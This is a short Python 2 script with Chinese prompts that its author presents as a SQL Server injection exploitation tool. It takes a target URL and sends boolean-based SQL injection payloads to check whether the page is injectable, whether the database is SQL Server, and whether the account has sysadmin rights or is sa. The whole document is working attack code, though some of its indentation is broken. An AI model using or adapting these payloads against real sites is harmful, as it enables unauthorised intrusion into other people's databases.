python实例之检测数据库sa用户信息

# Code by zhaoxiaobu Email: little.bu@hotmail.com 
#-*- coding: UTF-8 -*- 
from sys import exit 
from urllib import urlopen 
from string import join,strip 
from re import search 
 
def is_sqlable():
  sql1="%20and%201=2"
  sql2="%20and%201=1"
  urlfile1=urlopen(url+sql1)
  urlfile2=urlopen(url+sql2)
  htmlcodes1=urlfile1.read()
  htmlcodes2=urlfile2.read()
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2):
  print "[信息]恭喜!这个URL是有注入漏洞的!n"
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....." 
  is_SQLServer()
  else:
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer():
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"
  urlfile=urlopen(url+sql)
  htmlcodes=urlfile.read()
  if not search(judge,htmlcodes):
  print "[错误]数据库好像不是SQL Server的!n"
  else:
  print "[信息]确认是SQL Server数据库!n"
  print "[信息]开始检测当前数据库用户权限,请耐心等待......"
  is_sysadmin()
 
def is_sysadmin(): 
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"
  urlfile = urlopen(url+sql) 
  htmlcodes = urlfile.read() 
  if not search(judge,htmlcodes): 
    print "[错误]当前数据库用户不具有sysadmin权限!n"
  else: 
    print "[信息]当前数据库用户具有sysadmin权限!n"
    print "[信息]检测当前用户是不是SA,请耐心等待......"
    is_sa() 
 
def is_sa(): 
  sql = "%20and%20'sa'=(select%20System_user)";
  urlfile = urlopen(url+sql) 
  htmlcodes = urlfile.read() 
  if not search(judge,htmlcodes): 
    print "[错误]当前数据库用户不是SA!n"
  else: 
    print "[信息]当前数据库用户是SA!n"
 
print "n########################################################################n" 
print "            ^o^SQL Server注入利用工具^o^     " 
print "           Email: little.bu@hotmail.comn" 
print "========================================================================"; 
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:') 
if url == '': 
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式" 
  exit(1) 
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:") 
if judge == '': 
  print "[错误]判断字符串不能为空!" 
  exit(1) 
 
is_sqlable()